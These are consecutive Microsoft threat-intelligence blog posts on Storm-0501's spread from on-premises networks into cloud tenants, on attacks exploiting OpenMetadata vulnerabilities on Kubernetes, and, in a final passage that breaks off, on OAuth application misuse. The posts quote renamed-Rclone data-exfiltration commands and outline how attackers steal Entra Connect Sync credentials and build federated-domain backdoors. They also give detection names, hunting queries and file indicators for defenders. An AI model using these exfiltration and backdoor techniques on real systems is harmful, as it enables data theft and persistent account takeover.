Storm-0501 has been active as early as 2021, initially observed deploying the Sabbath(54bb47h) ransomware in attacks targeting US school districts, publicly leaking data for extortion, and even directly messaging school staff and parents. Since then, most of the threat actor’s attacks have been opportunistic, as the group began operating as a ransomware-as-a-service (RaaS) affiliate deploying multiple ransomware payloads developed and maintained by other threat actors over the years, including Hive, BlackCat (ALPHV), Hunters International, LockBit, and most recently, Embargo ransomware. The threat actor was also recently observed targeting hospitals in the US.

Storm-0501 is the latest threat actor observed to exploit weak credentials and over-privileged accounts to move from organizations’ on-premises environment to cloud environments. They stole credentials and used them to gain control of the network, eventually creating persistent backdoor access to the cloud environment and deploying ransomware to the on-premises. Microsoft previously observed threat actors such as Octo Tempest and Manatee Tempest targeting both on-premises and cloud environments and exploiting the interfaces between the environments to achieve their goals.

As hybrid cloud environments become more prevalent, the challenge of securing resources across multiple platforms grows ever more critical for organizations. Microsoft is committed to helping customers understand these attacks and build effective defenses against them.

In this blog post, we will go over Storm-0501’s tactics, techniques, and procedures (TTPs), typical attack methods, and expansion to the cloud. We will also provide information on how Microsoft detects activities related to this kind of attack, as well as provide mitigation guidance to help defenders protect their environment.

Analysis of the recent Storm-0501 campaign

On-premises compromise

Initial access and reconnaissance

Storm-0501 previously achieved initial access through intrusions facilitated by access brokers like Storm-0249 and Storm-0900, leveraging possibly stolen compromised credentials to sign in to the target system, or exploiting various known remote code execution vulnerabilities in unpatched public-facing servers. In a recent campaign, Storm-0501 exploited known vulnerabilities in Zoho ManageEngine (CVE-2022-47966), Citrix NetScaler (CVE-2023-4966), and ColdFusion 2016 application (possibly CVE-2023-29300 or CVE-2023-38203). In cases observed by Microsoft, these initial access techniques, combined with insufficient operational security practices by the targets, provided the threat actor with administrative privileges on the target device.

After gaining initial access and code execution capabilities on the affected device in the network, the threat actor performed extensive discovery to find potential desirable targets such as high-value assets and general domain information like Domain Administrator users and domain forest trust. Common native Windows tools and commands, such as systeminfo.exe, net.exe, nltest.exe, tasklist.exe, were leveraged in this phase. The threat actor also utilized open-source tools like ossec-win32 and OSQuery to query additional endpoint information. Additionally, in some of the attacks, we observed the threat actor running an obfuscated version of ADRecon.ps1 called obfs.ps1 or recon.ps1 for Active Directory reconnaissance.

Following initial access and reconnaissance, the threat actor deployed several remote monitoring and management tools (RMMs), such as Level.io, AnyDesk, and NinjaOne to interact with the compromised device and maintain persistence.

Credential access and lateral movement

The threat actor took advantage of admin privileges on the local devices it compromised during initial access and attempted to gain access to more accounts within the network through several methods. The threat actor primarily utilized Impacket’s SecretsDump module, which extracts credentials over the network, and leveraged it across an extensive number of devices to obtain credentials. The threat actor used the compromised credentials to access more devices in the network and then leveraged Impacket again to collect additional credentials. The threat actor then repeated this process until they compromised a large set of credentials that potentially included multiple Domain Admin credentials.

In addition, the threat actor was observed attempting to gather secrets by reading sensitive files and in some cases gathering KeePass secrets from the compromised devices. The threat actor used EncryptedStore’s Find-KeePassConfig.ps1 PowerShell script to output the database location and keyfile/user master key information and launch the KeePass executable to gather the credentials. We assess with medium confidence that the threat actor also performed extensive brute force activity on a few occasions to gain additional credentials for specific accounts.

The threat actor was observed leveraging Cobalt Strike to move laterally across the network using the compromised credentials and using the tool’s command-and-control (C2) capabilities to directly communicate with the endpoints and send further commands. The common Cobalt Strike Beacon file types used in these campaigns were .dll files and .ocx files that were launched by rundll32.exe and regsvr32.exe respectively. Moreover, the “license_id” associated with this Cobalt Strike Beacon is “666”.  The “license_id” definition is commonly referred to as Watermark and is a nine-digit value that is unique per legitimate license provided by Cobalt Strike. In this case, the “license_id” was modified with 3-digit unique value in all the beacon configurations.

In cases we observed, the threat actor’s lateral movement across the campaign ended with a Domain Admin compromise and access to a Domain Controller that eventually enabled them to deploy ransomware across the devices in the network.

Data collection and exfiltration

The threat actor was observed exfiltrating sensitive data from compromised devices. To exfiltrate data, the threat actor used the open-source tool Rclone and renamed it to known Windows binary names or variations of them, such as svhost.exe or scvhost.exe as masquerading means. The threat actor employed the renamed Rclone binaries to transfer data to the cloud, using a dedicated configuration that synchronized files to public cloud storage services such as MegaSync across multiple threads. The following are command line examples used by the threat actor in demonstrating this behavior:

• Svhost.exe copy –filter-from [REDACTED] [REDACTED] config:[REDACTED] -q –ignore-existing –auto-confirm –multi-thread-streams 11 –transfers 11
• scvhost.exe –config C:\Windows\Debug\a.conf copy [REDACTED UNC PATH] [REDACTED]

Defense evasion

The threat actor attempted to evade detection by tampering with security products in some of the devices they got hands-on-keyboard access to. They employed an open-source tool, resorted to PowerShell cmdlets and existing binaries to evade detection, and in some cases, distributed Group Policy Object (GPO) policies to tamper with security products.

On-premises to cloud pivot

In their recent campaign, we noticed a shift in Storm-0501’s methods. The threat actor used the credentials, specifically Microsoft Entra ID (formerly Azure AD), that were stolen from earlier in the attack to move laterally from the on-premises to the cloud environment and establish persistent access to the target network through a backdoor.

Storm-0501 was observed using the following attack vectors and pivot points on the on-premises side to gain subsequent control in Microsoft Entra ID:

Microsoft Entra Connect Sync account compromise

Microsoft Entra Connect, previously known as Azure AD Connect, is an on-premises Microsoft application that plays a critical role in synchronizing passwords and sensitive data between Active Directory (AD) objects and Microsoft Entra ID objects. Microsoft Entra Connect synchronizes the on-premises identity and Microsoft Entra identity of a user account to allow the user to sign in to both realms with the same password. To deploy Microsoft Entra Connect, the application must be installed on an on-premises server or an Azure VM. To decrease the attack surface, Microsoft recommends that organizations deploy Microsoft Entra Connect on a domain-joined server and restrict administrative access to domain administrators or other tightly controlled security groups. Microsoft Incident Response also published recommendations on preventing cloud identity compromise.

Microsoft Entra Connect Sync is a component of Microsoft Entra Connect that synchronizes identity data between on-premises environments and Microsoft Entra ID. During the Microsoft Entra Connect installation process, at least two new accounts (more accounts are created if there are multiple forests) responsible for the synchronization are created, one in the on-premises AD realm and the other in the Microsoft Entra ID tenant. These service accounts are responsible for the synchronization process.

The on-premises account name is prefixed with “MSOL_” and has permissions to replicate directory changes, modify passwords, modify users, modify groups, and more (see full permissions here).

The cloud Microsoft Entra ID account is prefixed with “sync_<Entra Connect server name>_” and has the account display name set to “On-Premises Directory Synchronization Service Account”. This user account is assigned with the Directory Synchronization Accounts role (see detailed permissions of this role here). Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync and helps prevent abuse.

The on-premises and cloud service accounts conduct the syncing operation every few minutes, similar to Password Hash Synchronization (PHS), to uphold real time user experience. Both user accounts mentioned above are crucial for the Microsoft Entra Connect Sync service operations and their credentials are saved encrypted via DPAPI (Data Protection API) on the server’s disk or a remote SQL server.

We can assess with high confidence that in the recent Storm-0501 campaign, the threat actor specifically located Microsoft Entra Connect Sync servers and managed to extract the plain text credentials of the Microsoft Entra Connect cloud and on-premises sync accounts. We assess that the threat actor was able to achieve this because of the previous malicious activities described in this blog post, such as using Impacket to steal credentials and DPAPI encryption keys, and tampering with security products.

Following the compromise of the cloud Directory Synchronization Account, the threat actor can authenticate using the clear text credentials and get an access token to Microsoft Graph. The compromise of the Microsoft Entra Connect Sync account presents a high risk to the target, as it can allow the threat actor to set or change Microsoft Entra ID passwords of any hybrid account (on-premises account that is synced to Microsoft Entra ID).

Cloud session hijacking of on-premises user account

Another way to pivot from on-premises to Microsoft Entra ID is to gain control of an on-premises user account that has a respective user account in the cloud. In some of the Storm-0501 cases we investigated, at least one of the Domain Admin accounts that was compromised had a respective account in Microsoft Entra ID, with multifactor authentication (MFA) disabled, and assigned with a Global Administrator role. It is important to mention that the sync service is unavailable for administrative accounts in Microsoft Entra, hence the passwords and other data are not synced from the on-premises account to the Microsoft Entra account in this case. However, if the passwords for both accounts are the same, or obtainable by on-premises credential theft techniques (i.e. web browsers passwords store), then the pivot is possible.

If a compromised on-premises user account is not assigned with an administrative role in Microsoft Entra ID and is synced to the cloud and no security boundaries such as MFA or Conditional Access are set, then the threat actor could escalate to the cloud through the following:

1. If the password is known, then logging in to Microsoft Entra is possible from any device.
2. If the password is unknown, the threat actor can reset the on-premises user password, and after a few minutes the new password will be synced to the cloud.
3. If they hold credentials of a compromised Microsoft Entra Directory Synchronization Account, they can set the cloud password using AADInternals’ Set-AADIntUserPassword cmdlet.

If MFA for that user account is enabled, then authentication with the user will require the threat actor to tamper with the MFA or gain control of a device owned by the user and subsequently hijack its cloud session or extract its Microsoft Entra access tokens along with their MFA claims.

MFA is a security practice that requires users to provide two or more verification factors to gain access to a resource and is a recommended security practice for all users, especially for privileged administrators. A lack of MFA or Conditional Access policies limiting the sign-in options opens a wide door of possibilities for the attacker to pivot to the cloud environment, especially if the user has administrative privileges. To increase the security of admin accounts, Microsoft is rolling out additional tenant-level security measures to require MFA for all Azure users.

Impact

Cloud compromise leading to backdoor

Following a successful pivot from the on-premises environment to the cloud through the compromised Microsoft Entra Connect Sync user account or the cloud admin account compromised through cloud session hijacking, the threat actor was able to connect to Microsoft Entra (portal/MS Graph) from any device, using a privileged Microsoft Entra ID account, such as a Global Administrator, and was no longer limited to the compromised devices.

Once Global Administrator access is available for Storm-0501, we observed them creating a persistent backdoor access for later use by creating a new federated domain in the tenant. This backdoor enables an attacker to sign in as any user of the Microsoft Entra ID tenant in hand if the Microsoft Entra ID user property ImmutableId is known or set by the attackers. For users that are configured to be synced by the Microsoft Entra Connect service, the ImmutableId property is automatically populated, while for users that are not synced the default value is null. However, users with administrative privileges can add an ImmutableId value, regardless.

The threat actor used the open-source tool AADInternals, and its Microsoft Entra ID capabilities to create the backdoor. AADInternals is a PowerShell module designed for security researchers and penetration testers that provides various methods for interacting and testing Microsoft Entra ID and is commonly used by Storm-0501. To create the backdoor, the threat actor first needed to have a domain of their own that is registered to Microsoft Entra ID. The attacker’s next step is to determine whether the target domain is managed or federated. A federated domain in Microsoft Entra ID is a domain that is configured to use federation technologies, such as Active Directory Federation Services (AD FS), to authenticate users. If the target domain is managed, then the attackers need to convert it to a federated one and provide a root certificate to sign future tokens upon user authentication and authorization processes. If the target domain is already federated, then the attackers need to add the root certificate as “NextSigningCertificate”.

Once a backdoor domain is available for use, the threat actor creates a federation trust between the compromised tenant, and their own tenant. The threat actor uses the AADInternals commands that enable the creation of Security Assertion Markup Language (SAML or SAML2) tokens, which can be used to impersonate any user in the organization and bypass MFA to sign in to any application. Microsoft observed the actor using the SAML token sign in to Office 365.

On-premises compromise leading to ransomware

Once the threat actor achieved sufficient control over the network, successfully extracted sensitive files, and managed to move laterally to the cloud environment, the threat actor then deployed the Embargo ransomware across the organization. We observed that the threat actor did not always resort to ransomware distribution, and in some cases only maintained backdoor access to the network.

Embargo ransomware is a new strain developed in Rust, known to use advanced encryption methods. Operating under the RaaS model, the ransomware group behind Embargo allows affiliates like Storm-0501 to use its platform to launch attacks in exchange for a share of the ransom. Embargo affiliates employ double extortion tactics, where they first encrypt a victim’s files and threaten to leak stolen sensitive data unless a ransom is paid.

In the cases observed by Microsoft, the threat actor leveraged compromised Domain Admin accounts to distribute the Embargo ransomware via a scheduled task named “SysUpdate” that was registered via GPO on the devices in the network. The ransomware binaries names that were used were PostalScanImporter.exe and win.exe. Once the files on the target devices were encrypted, the encrypted files extension changed to .partial, .564ba1, and .embargo.

Mitigation and protection guidance

Microsoft recently implemented a change in Microsoft Entra ID that restricts permissions on the Directory Synchronization Accounts (DSA) role in Microsoft Entra Connect Sync and Microsoft Entra Cloud Sync as part of ongoing security hardening. This change helps prevent threat actors from abusing Directory Synchronization Accounts in attacks.

Customers may also refer to Microsoft’s human-operated ransomware overview for general hardening recommendations against ransomware attacks.

The other techniques used by threat actors and described in this blog can be mitigated by adopting the following security measures:

• Secure accounts with credential hygiene: practice the principle of least privilege and audit privileged account activity in your Microsoft Entra ID environments to slow and stop attackers.
• Enable Conditional Access policies – Conditional Access policies are evaluated and enforced every time the user attempts to sign in. Organizations can protect themselves from attacks that leverage stolen credentials by enabling policies such as device compliance or trusted IP address requirements.
  • Set a Conditional Access policy to limit the access of Microsoft Entra ID sync accounts from untrusted IP addresses to all cloud apps. The Microsoft Entra ID sync account is identified by having the role ‘Directory Synchronization Accounts’. Please refer to the Advanced Hunting section and check the relevant query to get those IP addresses.
• Implement Conditional Access authentication strength to require phishing-resistant authentication for employees and external users for critical apps.
• Follow Microsoft’s best practices for securing Active Directory Federation Services.  
• Refer to Azure Identity Management and access control security best practices for further steps and recommendations to manage, design, and secure your Azure AD environment can be found by referring.
• Ensure Microsoft Defender for Cloud Apps connectors are turned on for your organization to receive alerts on the Microsoft Entra ID sync account and all other users.
• Enable protection to prevent by-passing of cloud Microsoft Entra MFA when federated with Microsoft Entra ID.
• Set the validatingDomains property of federatedTokenValidationPolicy to “all” to block attempts to sign-in to any non-federated domain (like .onmicrosoft.com) with SAML tokens.
• Turn on Microsoft Entra ID protection to monitor identity-based risks and create risk-based conditional access policies to remediate risky sign-ins.
• Turn on tamper protection features to prevent attackers from stopping security services such as Microsoft Defender for Endpoint, which can help prevent hybrid cloud environment attacks such as Microsoft Entra Connect abuse.
• Refer to the recommendations in our attacker technique profile, including use of Windows Defender Application Control or AppLocker to create policies to block unapproved information technology (IT) management tools to protect against the abuse of legitimate remote management tools like AnyDesk or Level.io.
• Run endpoint detection and response (EDR) in block mode so that Defender for Endpoint can block malicious artifacts, even when your non-Microsoft antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts detected post-breach.
• Turn on investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to help remediate alerts, significantly reducing alert volume.

Detection details

Alerts with the following names can be in use when investigating the current campaign of Storm-0501.

Microsoft Defender XDR detections

Microsoft Defender Antivirus 

Microsoft Defender Antivirus detects the Cobalt Strike Beacon as the following:

• Behavior:Win32/CobaltStrike
• Backdoor:Win64/CobaltStrike
• HackTool:Win64/CobaltStrike

Additional Cobalt Strike components are detected as the following:

• TrojanDropper:PowerShell/Cobacis
• Trojan:Win64/TurtleLoader.CS
• Exploit:Win32/ShellCode.BN

Microsoft Defender Antivirus detects tools that enable Microsoft Entra ID enumeration as the following malware: 

• Backdoor:Win32/SuspAadInternalsUsage

Embargo Ransomware threat components are detected as the following:

• Ransom:Win32/Embargo

Microsoft Defender for Endpoint 

Alerts with the following titles in the security center can indicate threat activity related to Storm-0501 on your network:

• Ransomware-linked Storm-0501 threat actor detected

The following alerts might also indicate threat activity associated with this threat. These alerts, however, can be triggered by unrelated threat activity and are not monitored in the status cards provided with this report. 

• Possible Adobe ColdFusion vulnerability exploitation
• Compromised account conducting hands-on-keyboard attack
• Ongoing hands-on-keyboard attacker activity detected (Cobalt Strike)
• Ongoing hands-on-keyboard attack via Impacket toolkit
• Suspicious Microsoft Defender Antivirus exclusion
• Attempt to turn off Microsoft Defender Antivirus protection
• Renaming of legitimate tools for possible data exfiltration
• BlackCat ransomware
• ‘Embargo’ ransomware was detected and was active
• Suspicious Group Policy action detected
• An active ‘Embargo’ ransomware was detected

The following alerts might indicate on-premises to cloud pivot through Microsoft Entra Connect:

• Entra Connect Sync credentials extraction attempt
• Suspicious cmdlets launch using AADInternals
• Potential Entra Connect Tampering
• Indication of local security authority secrets theft

Microsoft Defender for Identity

The following Microsoft Defender for Identity alerts can indicate activity related to this threat:

• Data exfiltration over SMB
• Suspected DCSync attack

Microsoft Defender for Cloud Apps

Microsoft Defender for Cloud Apps can detect abuse of permissions in Microsoft Entra ID and other cloud apps. Activities related to the Storm-0501 campaign described in this blog are detected as the following:

• Backdoor creation using AADInternals tool
• Compromised Microsoft Entra ID Cloud Sync account
• Suspicious sign-in to Microsoft Entra Connect Sync account
• Entra Connect Sync account suspicious activity following a suspicious login
• AADInternals tool used by a Microsoft Entra Sync account
• Suspicious login from AADInternals tool

Microsoft Defender Vulnerability Management

Microsoft Defender Vulnerability Management surfaces devices that may be affected by the following vulnerabilities used in this threat:

• CVE-2022-47966

Threat intelligence reports 

Microsoft customers can use the following reports in Microsoft Defender Threat Intelligence to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to prevent, mitigate, or respond to associated threats found in customer environments: 

• Storm-0501

Advanced hunting 

Microsoft Defender XDR

Microsoft Defender XDR customers can run the following query to find related activity in their networks:

Microsoft Entra Connect Sync account exploration

Explore sign-in activity from IdentityLogonEvents, look for uncommon behavior, such as sign-ins from newly seen IP addresses or sign-ins to new applications that are non-sync related.

IdentityLogonEvents
| where Timestamp > ago(30d)
| where AccountDisplayName contains "On-Premises Directory Synchronization Service Account"
| extend ApplicationName = tostring(RawEventData.ApplicationName)
| project-reorder Timestamp, AccountDisplayName, AccountObjectId, IPAddress, ActionType, ApplicationName, OSPlatform, DeviceType

Usually, the activity of the sync account is repetitive, coming from the same IP address to the same application, any deviation from the natural flow is worth investigating. Cloud applications that normally accessed by the Microsoft Entra ID sync account are “Microsoft Azure Active Directory Connect”, “Windows Azure Active Directory”, “Microsoft Online Syndication Partner Portal”

Explore the cloud activity (a.k.a ActionType) of the sync account, same as above, this account by nature performs a certain set of actions including ‘update User.’, ‘update Device.’ and so on. New and uncommon activity from this user might indicate an interactive use of the account, even though it could have been from someone inside the organization it could also be the threat actor.

CloudAppEvents
| where Timestamp > ago(30d)
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| extend Workload = RawEventData.Workload
| project-reorder Timestamp, IPAddress, AccountObjectId, ActionType, Application, Workload, DeviceType, OSPlatform, UserAgent, ISP

Pay close attention to action from different DeviceTypes or OSPlatforms, this account automated service is performed from one specific machine, so there shouldn’t be any variety in these fields.

Check which IP addresses Microsoft Entra Connect Sync account uses

This query reveals all IP addresses that the default Microsoft Entra Connect Sync account uses so those could be added as trusted IP addresses for the Entra ID sync account (make sure the account is not compromised before relying on this list)

IdentityLogonEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| where ActionType == "LogonSuccess"
| distinct IPAddress
| union (CloudAppEvents
| where AccountDisplayName has "On-Premises Directory Synchronization Service Account"
| distinct IPAddress)
| distinct IPAddress

Federation and authentication domain changes

Explore the addition of a new authentication or federation domain, validate that the new domain is valid one and was purposefully added

CloudAppEvents
| where Timestamp > ago(30d)
| where ActionType in ("Set domain authentication.", "Set federation settings on domain.")

Microsoft Sentinel

Microsoft Sentinel customers can use the TI Mapping analytics (a series of analytics all prefixed with ‘TI map’) to automatically match the malicious domain indicators mentioned in this blog post with data in their workspace. If the TI Map analytics are not currently deployed, customers can install the Threat Intelligence solution from the Microsoft Sentinel Content Hub to have the analytics rule deployed in their Sentinel workspace.

Assess your environment for Manage Engine, Netscaler, and ColdFusion vulnerabilities.

DeviceTvmSoftwareVulnerabilities  
| where CveId in ("CVE-2022-47966","CVE-2023-4966","CVE-2023-29300","CVE-2023-38203")   
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel  
| join kind=inner ( DeviceTvmSoftwareVulnerabilitiesKB | project CveId, CvssScore,IsExploitAvailable,VulnerabilitySeverityLevel,PublishedDate,VulnerabilityDescription,AffectedSoftware ) on CveId  
| project DeviceId,DeviceName,OSPlatform,OSVersion,SoftwareVendor,SoftwareName,SoftwareVersion,  
CveId,VulnerabilitySeverityLevel,CvssScore,IsExploitAvailable,PublishedDate,VulnerabilityDescription,AffectedSoftware

Search for file IOC

let selectedTimestamp = datetime(2024-09-17T00:00:00.0000000Z);
let fileName = dynamic(["PostalScanImporter.exe","win.exe","name.dll","248.dll","cs240.dll","fel.ocx","theme.ocx","hana.ocx","obfs.ps1","recon.ps1"]); 
let FileSHA256 = dynamic(["efb2f6452d7b0a63f6f2f4d8db49433259249df598391dd79f64df1ee3880a8d","a9aeb861817f3e4e74134622cbe298909e28d0fcc1e72f179a32adc637293a40","caa21a8f13a0b77ff5808ad7725ff3af9b74ce5b67426c84538b8fa43820a031","53e2dec3e16a0ff000a8c8c279eeeca8b4437edb8ec8462bfbd9f64ded8072d9","827f7178802b2e92988d7cff349648f334bc86317b0b628f4bb9264285fccf5f","ee80f3e3ad43a283cbc83992e235e4c1b03ff3437c880be02ab1d15d92a8348a","de09ec092b11a1396613846f6b082e1e1ee16ea270c895ec6e4f553a13716304","d065623a7d943c6e5a20ca9667aa3c41e639e153600e26ca0af5d7c643384670","c08dd490860b54ae20fa9090274da9ffa1ba163f00d1e462e913cf8c68c11ac1"]); 
search in (AlertEvidence,BehaviorEntities,CommonSecurityLog,DeviceBaselineComplianceProfiles,DeviceEvents,DeviceFileEvents,DeviceImageLoadEvents, DeviceLogonEvents,DeviceNetworkEvents,DeviceProcessEvents,DeviceRegistryEvents,DeviceFileCertificateInfo,DynamicEventCollection,EmailAttachmentInfo,OfficeActivity,SecurityEvent,ThreatIntelligenceIndicator) TimeGenerated between ((selectedTimestamp - 1m) .. (selectedTimestamp + 90d)) // from September 17th runs the search for 90 days, change the selectedTimestamp accordingly. and  (FileName in (fileName) or OldFileName in (fileName)  or ProfileName in (fileName)  or InitiatingProcessFileName in (fileName)  or InitiatingProcessParentFileName in (fileName)  or InitiatingProcessVersionInfoInternalFileName in (fileName)  or InitiatingProcessVersionInfoOriginalFileName in (fileName)  or PreviousFileName in (fileName)  or ProcessVersionInfoInternalFileName in (fileName) or ProcessVersionInfoOriginalFileName in (fileName) or DestinationFileName in (fileName) or SourceFileName in (fileName)or ServiceFileName in (fileName) or SHA256 in (FileSHA256)  or InitiatingProcessSHA256 in (FileSHA256))

Microsoft Sentinel also has a range of detection and threat hunting content that customers can use to detect the post exploitation activity detailed in this blog, in addition to Microsoft Defender XDR detections list above.

• Remote Management Monitoring Network Connections
• Level.io RMM File Signature
• AnyDesk RMM File Signature
• NinjaOne RMM File Signature
• Potential Impacket Execution
• Potential ransomware activity related to Cobalt Strike
• Cobalt DNS Beacon
• C2-NamedPipe
• Renamed Rclone Exfiltration
• Disable Or Modify Windows Defender
• Clearing of forensic evidence from event logs using wevtutil
• Suspicious Signin By AAD Connect Account

Indicators of compromise (IOCs)

The following list provides indicators of compromise (IOCs) observed during our investigation. We encourage our customers to investigate these indicators within their environments and implement detections and protections to identify any past related activity and prevent future attacks against their systems.

References

• The Rust Revolution: New Embargo Ransomware Steps In – Cyble
• Embargo Ransomware Group: The Interview (suspectfile.com)
• https://aadinternals.com/post/aadbackdoor/
• https://aadinternals.com/post/aad-deepdive/

Omri Refaeli, Tafat Gaspar, Vaibhav Deshmukh, Naya Hashem, Charles-Edouard Bettan

Microsoft Threat Intelligence Community

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Storm-0501: Ransomware attacks expanding to hybrid cloud environments appeared first on Microsoft Security Blog.

OpenMetadata is an open-source platform designed to manage metadata across various data sources. It serves as a central repository for metadata lineage, allowing users to discover, understand, and govern their data. On March 15, 2024, several vulnerabilities in OpenMetadata platform were published. These vulnerabilities (CVE-2024-28255, CVE-2024-28847, CVE-2024-28253, CVE-2024-28848, CVE-2024-28254), affecting versions prior to 1.3.1, could be exploited by attackers to bypass authentication and achieve remote code execution. Since the beginning of April, we have observed exploitation of this vulnerability in Kubernetes environments.

Microsoft highly recommends customers to check clusters that run OpenMetadata workload and make sure that the image is up to date (version 1.3.1 or later). In this blog, we share our analysis of the attack, provide guidance for identifying vulnerable clusters and using Microsoft security solutions like Microsoft Defender for Cloud to detect malicious activity, and share indicators of compromise that defenders can use for hunting and investigation.

Attack flow

For initial access, the attackers likely identify and target Kubernetes workloads of OpenMetadata exposed to the internet. Once they identify a vulnerable version of the application, the attackers exploit the mentioned vulnerabilities to gain code execution on the container running the vulnerable OpenMetadata image.

After establishing a foothold, the attackers attempt to validate their successful intrusion and assess their level of control over the compromised system. This reconnaissance step often involves contacting a publicly available service. In this specific attack, the attackers send ping requests to domains that end with oast[.]me and oast[.]pro, which are associated with Interactsh, an open-source tool for detecting out-of-band interactions.

OAST domains are publicly resolvable yet unique, allowing attackers to determine network connectivity from the compromised system to attacker infrastructure without generating suspicious outbound traffic that might trigger security alerts. This technique is particularly useful for attackers to confirm successful exploitation and validate their connectivity with the victim, before establishing a command-and-control (C2) channel and deploying malicious payloads.

After gaining initial access, the attackers run a series of reconnaissance commands to gather information about the victim environment. The attackers query information on the network and hardware configuration, OS version, active users, etc.

As part of the reconnaissance phase, the attackers read the environment variables of the workload. In the case of OpenMetadata, those variables might contain connection strings and credentials for various services used for OpenMetadata operation, which could lead to lateral movement to additional resources.

Once the attackers confirm their access and validate connectivity, they proceed to download the payload, a cryptomining-related malware, from a remote server. We observed the attackers using a remote server located in China. The attacker’s server hosts additional cryptomining-related malware that are stored, for both Linux and Windows OS.

The downloaded file’s permissions are then elevated to grant execution privileges. The attacker also added a personal note to the victims:

Next, the attackers run the downloaded cryptomining-related malware, and then remove the initial payloads from the workload. Lastly, for hands-on-keyboard activity, the attackers initiate a reverse shell connection to their remote server using Netcat tool, allowing them to remotely access the container and gain better control over the system. Additionally, for persistence, the attackers use cronjobs for task scheduling, enabling the execution of the malicious code at predetermined intervals.

How to check if your cluster is vulnerable

Administrators who run OpenMetadata workload in their cluster need to make sure that the image is up to date. If OpenMetadata should be exposed to the internet, make sure you use strong authentication and avoid using the default credentials.

To get a list of all the images running in the cluster:

kubectl get pods --all-namespaces -o=jsonpath='{range .items[*]}{.spec.containers[*].image}{"\n"}{end}' | grep 'openmetadata'

If there is a pod with a vulnerable image, make sure to update the image version for the latest version.

How Microsoft Defender for Cloud capabilities can help

This attack serves as a valuable reminder of why it’s crucial to stay compliant and run fully patched workloads in containerized environments. It also highlights the importance of a comprehensive security solution, as it can help detect malicious activity in the cluster when a new vulnerability is used in the attack. In this specific case, the attackers’ actions triggered Microsoft Defender for Containers alerts, identifying the malicious activity in the container. In the example below, Microsoft Defender for Containers alerted on an attempt to initiate a reverse shell from a container in a Kubernetes cluster, as happened in this attack:

To prevent such attacks, Microsoft Defender for Containers provides agentless vulnerability assessment for Azure, AWS, and GCP, allowing you to identify vulnerable images in the environment, before the attack occurs.  Microsoft Defender Cloud Security Posture Management (CSPM) can help to prioritize the security issues according to their risk. For example, Microsoft Defender CSPM highlights vulnerable workloads exposed to the internet, allowing organizations to quickly remediate crucial threats.

Organizations can also monitor Kubernetes clusters using Microsoft Sentinel via Azure Kubernetes Service (AKS) solution for Sentinel, which enables detailed audit trail for user and system actions to identify malicious activity.

Indicators of compromise (IoCs)

Hagai Ran Kestenberg, Security Researcher
Yossi Weizman, Senior Security Research Manager

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn at https://www.linkedin.com/showcase/microsoft-threat-intelligence, and on X (formerly Twitter) at https://twitter.com/MsftSecIntel.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast: https://thecyberwire.com/podcasts/microsoft-threat-intelligence.

The post Attackers exploiting new critical OpenMetadata vulnerabilities on Kubernetes clusters appeared first on Microsoft Security Blog.

In attacks observed by Microsoft Threat Intelligence, threat actors launched phishing or password spraying attacks to compromise user accounts that did not have strong authentication mechanisms and had permissions to create or modify OAuth applications. The threat actors misused the OAuth applications with high privilege permissions to deploy virtual machines (VMs) for cryptocurrency mining, establish persistence following business email compromise (BEC), and launch spamming activity using the targeted organization’s resources and domain name.

Microsoft continuously tracks attacks that misuse of OAuth applications for a wide range of malicious activity. This visibility enhances the detection of malicious OAuth applications via Microsoft Defender for Cloud Apps and prevents compromised user accounts from accessing resources via Microsoft Defender XDR and Microsoft Entra Identity Protection. In this blog post, we present cases where threat actors compromised user accounts and misused OAuth applications for their financially driven attacks, outline recommendations for organizations to mitigate such attacks, and provide detailed information on how Microsoft detects related activity:

• OAuth applications to deploy VMs for cryptomining
• OAuth applications for BEC and phishing
• OAuth applications for spamming activity
• Mitigation steps
• Detections for related techniques
• Hunting guidance

OAuth applications to deploy VMs for cryptomining

Microsoft observed the threat actor tracked as Storm-1283 using a compromised user account to create an OAuth application and deploy VMs for cryptomining. The compromised account allowed Storm-1283 to sign in via virtual private network (VPN), create a new single-tenant OAuth application in Microsoft Entra ID named similarly as the Microsoft Entra ID tenant domain name, and add a set of secrets to the application. As the compromised account had an ownership role on an Azure subscription, the actor also granted ‘Contributor’ role permission for the application to one of the active subscriptions using the compromised account.

The actor also leveraged existing line-of-business (LOB) OAuth applications that the compromised user account had access to in the tenant by adding an additional set of credentials to those applications. The actor initially deployed a small set of VMs in the same compromised subscriptions using one of the existing applications and initiated the cryptomining activity. The actor then later returned to deploy more VMs using the new application. Targeted organizations incurred compute fees ranging from 10,000 to 1.5 million USD from the attacks, depending on the actor’s activity and duration of the attack.

Storm-1283 looked to maintain the setup as long as possible to increase the chance of successful cryptomining activity. We assess that, for this reason, the actor used the naming convention [DOMAINNAME]_[ZONENAME]_[1-9] (the tenant name followed by the region name) for the VMs to avoid suspicion.  

One of the ways to recognize the behavior of this actor is to monitor VM creation in Azure Resource Manager audit logs and look for the activity “Microsoft.Compute/virtualMachines/write” performed by an OAuth application. While the naming convention used by the actor may change in time, it may still include the domain name or region names like “east|west|south|north|central|japan|france|australia|canada|korea|uk|poland|brazil”

